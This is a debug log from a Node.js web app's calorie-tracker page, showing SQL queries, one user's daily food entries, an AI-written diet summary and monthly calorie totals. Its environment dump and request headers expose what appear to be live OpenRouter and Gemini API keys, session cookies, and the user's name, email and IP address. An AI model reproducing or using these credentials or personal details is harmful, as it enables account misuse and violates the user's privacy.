2025-12-19T07:07:52.842Z server-connect:app Executing action step identify
2025-12-19T07:07:52.842Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:52.842Z server-connect:output identity: 1
2025-12-19T07:07:52.842Z server-connect:app Executing action step restrict
2025-12-19T07:07:52.842Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T07:07:52.845Z server-connect:output restrict: undefined
2025-12-19T07:07:52.845Z server-connect:router Render template layouts/main
2025-12-19T07:07:52.845Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T07:07:53.075Z server-connect:app Executing action step identify
2025-12-19T07:07:53.075Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:53.076Z server-connect:output identity: 1
2025-12-19T07:07:53.426Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T07:07:53.427Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T07:07:53.428Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T07:07:53.428Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T07:07:53.428Z server-connect:app Executing action step identify
2025-12-19T07:07:53.428Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:53.428Z server-connect:output identity: 1
2025-12-19T07:07:53.428Z server-connect:app Executing action step restrict
2025-12-19T07:07:53.428Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T07:07:53.429Z server-connect:app Executing action step identify
2025-12-19T07:07:53.429Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:53.429Z server-connect:output identity: 1
2025-12-19T07:07:53.429Z server-connect:app Executing action step restrict
2025-12-19T07:07:53.429Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T07:07:53.430Z server-connect:app Executing action step identify
2025-12-19T07:07:53.430Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:53.430Z server-connect:output identity: 1
2025-12-19T07:07:53.430Z server-connect:app Executing action step restrict
2025-12-19T07:07:53.430Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T07:07:53.431Z server-connect:output restrict: undefined
2025-12-19T07:07:53.432Z server-connect:app Executing action step select
2025-12-19T07:07:53.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T07:07:53.432Z server-connect:app Executing action step identify
2025-12-19T07:07:53.432Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:53.432Z server-connect:output identity: 1
2025-12-19T07:07:53.432Z server-connect:app Executing action step restrict
2025-12-19T07:07:53.432Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:53.432Z server-connect:output restrict: undefined
2025-12-19T07:07:53.432Z server-connect:app Executing action step single
2025-12-19T07:07:53.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T07:07:53.433Z server-connect:output restrict: undefined
2025-12-19T07:07:53.434Z server-connect:app Executing action step single
2025-12-19T07:07:53.434Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T07:07:53.434Z server-connect:output restrict: undefined
2025-12-19T07:07:53.434Z server-connect:app Executing action step single
2025-12-19T07:07:53.434Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T07:07:53.435Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T07:07:53.436Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be very light, with a focus on protein supplementation. While this aligns with muscle development goals, the overall volume and variety of food seem insufficient for sustained energy and recovery. The recent weight trend shows a gradual decrease, suggesting the current approach is leading towards fat loss.",
    bad_points: [
      'Extremely limited food variety and overall quantity consumed.',
      'Lack of substantial meals throughout the day.',
      'Potential for inadequate micronutrient intake due to limited food sources.',
      'Milk tea, even without sugar, contributes some calories and carbohydrates.'
    ],
    good_points: [
      'Inclusion of whey protein to support muscle recovery and development.',
      'Pre-workout supplement for enhanced gym performance.',
      'Walnuts provide healthy fats and some micronutrients.'
    ],
    suggestions: [
      'Incorporate more whole foods, including complex carbohydrates and a wider range of vegetables and fruits.',
      'Ensure adequate protein intake from diverse sources beyond just whey.',
      'Plan for balanced meals spread throughout the day to support energy levels and recovery.',
      'Increase overall food volume to meet nutritional needs for muscle development and fat loss.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T07:07:53.437Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T07:07:53.437Z server-connect:app Executing action step select
2025-12-19T07:07:53.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T07:07:53.438Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T07:07:53.439Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  }
]
2025-12-19T07:07:53.439Z server-connect:app Executing action step setvalue
2025-12-19T07:07:53.439Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T07:07:53.439Z server-connect:output var_total: 746
2025-12-19T07:07:53.439Z server-connect:app Executing action step setvalue
2025-12-19T07:07:53.439Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T07:07:53.439Z server-connect:output var_consumed: 31
2025-12-19T07:07:53.439Z server-connect:app Executing action step setvalue
2025-12-19T07:07:53.439Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T07:07:53.439Z server-connect:output var_deficit: 1654
2025-12-19T07:07:53.440Z server-connect:app Executing action step custom
2025-12-19T07:07:53.440Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T07:07:53.441Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '746',
    surplus_or_deficit: '1654',
    status_flag: 2
  }
]
2025-12-19T07:07:54.044Z server-connect:app Executing action step identify
2025-12-19T07:07:54.044Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:54.044Z server-connect:output identity: 1
2025-12-19T07:07:58.302Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-19T07:07:58.303Z server-connect:app Executing action step identify
2025-12-19T07:07:58.303Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:58.303Z server-connect:output identity: 1
2025-12-19T07:07:58.303Z server-connect:app Executing action step restrict
2025-12-19T07:07:58.303Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T07:07:58.304Z server-connect:output restrict: undefined
2025-12-19T07:07:58.304Z server-connect:app Executing action step select
2025-12-19T07:07:58.304Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
